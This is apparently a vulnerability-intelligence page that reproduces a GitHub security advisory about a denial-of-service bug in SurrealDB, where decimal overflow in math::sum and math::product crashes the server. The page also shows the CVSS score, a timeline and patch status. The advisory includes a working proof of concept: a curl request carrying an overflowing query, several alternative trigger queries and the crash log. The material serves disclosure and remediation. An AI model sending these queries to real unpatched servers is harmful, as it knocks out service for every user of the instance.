llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-G422-FJ9R-M92G

Server crash (DoS) via decimal overflow in math::sum / math::product

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición18 dDesde la divulgación, 3 nov 2026, 10:51 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Tranqui, pero que no se quede en el olvido.Ni el CISO se despertaría por esta.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-G422-FJ9R-M92G divulgada · CVSS 6.5 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

An uncaught arithmetic overflow in the `math::sum` and `math::product` aggregate functions lets any user who can run a single query terminate the entire SurrealDB server process. When the running total of a `decimal` accumulation exceeds the `decimal` range, the worker thread panics inside `rust_decimal` instead of returning an error, and the process exits (status 133). Every connection, database and namespace on the instance goes down with it. No special privileges, no large dataset, and no stored data are required — the overflowing values can be literals in the query. Confirmed on `3.2.4` and `3.1.2`.

Details

`math::sum` and `math::product` accumulate their arguments using unchecked `decimal` arithmetic. When an intermediate result exceeds the `decimal` maximum (`79228162514264337593543950335`), the addition panics rather than returning a `Result::Err`, and the panic aborts the SurrealDB worker thread, which terminates the whole server process.

The engine already has a correct, recoverable path for exactly this condition:

  • The `+` and `*` operators on the same operands return a normal query error (`Cannot perform addition with '...' and '...'`).
  • `math::mean`, which also sums internally, returns that same error rather than panicking.

So only the `math::sum` / `math::product` accumulation escalates an out-of-range decimal to a process-killing panic. The fix is to have these functions use the same checked arithmetic the operators and `math::mean` already use.

Source pointer for the maintainer:
The chain, with line numbers from `main` at commit `18971ffba` (the 3.1.x / 3.2.x release tags differ by a few lines but the structure is identical):

  • `surrealdb/core/src/fnc/math.rs:218` — `math::sum`:
  • `surrealdb/core/src/val/number.rs:1160` — `impl Sum for Number` folds with the plain operator:
  • `surrealdb/core/src/val/number.rs:1034` — `impl ops::Add for Number`, whose decimal arm is unchecked:
PoC

Start a server with the in-memory backend (any 3.1.x / 3.2.x build):

surreal start --user root --pass root memory

Send a single statement over the HTTP `/sql` endpoint:

curl -s -u root:root \
  -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
  -X POST --data 'RETURN math::sum([40000000000000000000000000000dec, 40000000000000000000000000000dec]);' \
  http://localhost:8000/sql

The connection is dropped with no query result. The server log shows:

thread 'surrealdb-worker' (8) panicked at .../rust_decimal-1.42.0/src/arithmetic_impls.rs:161:18:
Addition overflowed

and the process exits with status 133. Any subsequent request to the same server fails
(the process is gone).

Equivalent triggers, all fatal:

RETURN math::sum([79228162514264337593543950335dec, 1dec]);   -- decimal max + 1
RETURN math::sum([79228162514264337593543950335dec, 1]);      -- mixed int addend
RETURN math::sum([-40000000000000000000000000000dec, -40000000000000000000000000000dec]);
RETURN math::product([40000000000000000000000000000dec, 2dec]);

Reachable through ordinary aggregation, so a routine reporting query over a table holding
large decimals is an accidental trigger:

CREATE t:1 SET v = 40000000000000000000000000000dec;
CREATE t:2 SET v = 40000000000000000000000000000dec;
SELECT math::sum(v) AS s FROM t GROUP ALL;   -- server exits

For contrast, the recoverable path that already exists on the identical operands:

RETURN 40000000000000000000000000000dec + 40000000000000000000000000000dec;
-- ERR: "Cannot perform addition with '4000...' and '4000...'"   (server stays up)

RETURN math::sum([40000000000000000000000000000dec, 30000000000000000000000000000dec]);
-- "70000000000000000000000000000"   (in-range sum works)

Verified on `surrealdb/surrealdb:v3.1.2` and `3.2.4+20260803.93ab219` (Docker, `memory` backend): the container exits with code 133 (`OOMKilled=false`) and the server stops answering.

Impact
  • Type: Denial of service — uncaught panic terminating the process (CWE-248, with CWE-190 integer overflow as the root condition).
  • Who is impacted: every user of an affected instance. The crash is not scoped to the offending session; the whole process exits, so all connections, databases and namespaces on that server lose service.
  • Who can trigger it: any user permitted to run a query. It needs no schema rights and no stored data and because `GROUP ALL` aggregation reaches the same code, an ordinary aggregate over user-influenced `decimal` data triggers it unintentionally.
Patches

A patch has been created that folds `math::sum` and `math::product` with checked arithmetic, so a decimal overflow raises a query error instead of crashing the server.

  • Version 4.0.0 and later are not affected by this issue.
References
  • SurrealQL Documentation — Math functions https://surrealdb.com/docs/surrealql/functions/database/math
  • `fix(math): sum and mean integers exactly instead of wrapping or rounding` (commit `942c2bd2b4`)
  • `fix(math,seq): integer overflow is an error in math folds and sequence allocation` (commit `b8f92e17f2`)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-g422-fj9r-m92g

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.